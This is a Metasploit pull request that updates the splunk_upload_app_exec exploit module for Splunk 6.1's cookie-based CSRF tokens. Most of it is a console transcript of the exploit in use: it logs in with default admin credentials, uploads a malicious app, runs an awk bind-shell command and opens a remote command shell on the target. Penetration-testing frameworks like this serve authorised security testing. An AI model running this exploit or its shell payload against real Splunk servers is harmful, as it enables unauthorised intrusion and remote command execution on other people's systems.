rapid7/metasploit-framework — pull request #3463 by zombie042 (2014-06-19 16:48:17+00:00)
Title: Updated splunk_upload_app_exec for Splunk 6.1

Updated existing module to use Splunk 6.1 cookie-based csrf tokens in addition to the old 5.0 page source method. If 5.0 method fails then the token grabber will try the 6.1 method.

This has been verified to work on Splunk Free 6.1 and 6.11 for Linux, but not tested in Windows or older 5.0 installs of Splunk. The only possible incompatibility with 5.0 of Splunk is the inclusion of the csrf cookie with the authentication cookies...but I hope their programmers were not so sloppy as an extra cookie breaks things.

Execution and default options used:

msf > use exploit/multi/http/splunk_upload_app_exec
msf exploit(splunk_upload_app_exec) > set LHOST 192.168.XXX.YYY
LHOST => 192.168.30.102
msf exploit(splunk_upload_app_exec) > set RPORT 8000
RPORT => 8000
msf exploit(splunk_upload_app_exec) > set LPORT 26436
LPORT => 26436
msf exploit(splunk_upload_app_exec) > set RHOST 192.168.XXX.ZZZ
RHOST => 192.168.30.172
msf exploit(splunk_upload_app_exec) > set PAYLOAD generic/shell_bind_tcp
PAYLOAD => generic/shell_bind_tcp
msf exploit(splunk_upload_app_exec) > set TARGET 0
TARGET => 0
msf exploit(splunk_upload_app_exec) > set SPLUNK_APP_FILE /opt/metasploit/apps/pro/msf3/data/exploits/splunk/upload_app_exec.tgz
SPLUNK_APP_FILE => /opt/metasploit/apps/pro/msf3/data/exploits/splunk/upload_app_exec.tgz
msf exploit(splunk_upload_app_exec) > set USERNAME admin
USERNAME => admin
msf exploit(splunk_upload_app_exec) > set PASSWORD changeme
PASSWORD => changeme
msf exploit(splunk_upload_app_exec) > exploit -j
[*] Exploit running as background job.
[*] Using command: awk 'BEGIN{s="/inet/tcp/26436/0/0";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
[*] Authenticating...
[*] Started bind handler
[*] Fetching csrf token from /en-US/manager/launcher/apps/local
[*] Uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] Fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] Invoking script command
[*] Command shell session 1 opened (192.168.XXX.YYY:46767 -> 192.168.XXX.ZZZ:26436) at 2014-06-19 08:42:52 -0700
[*] 192.168.XXX.ZZZ - Command shell session 1 closed.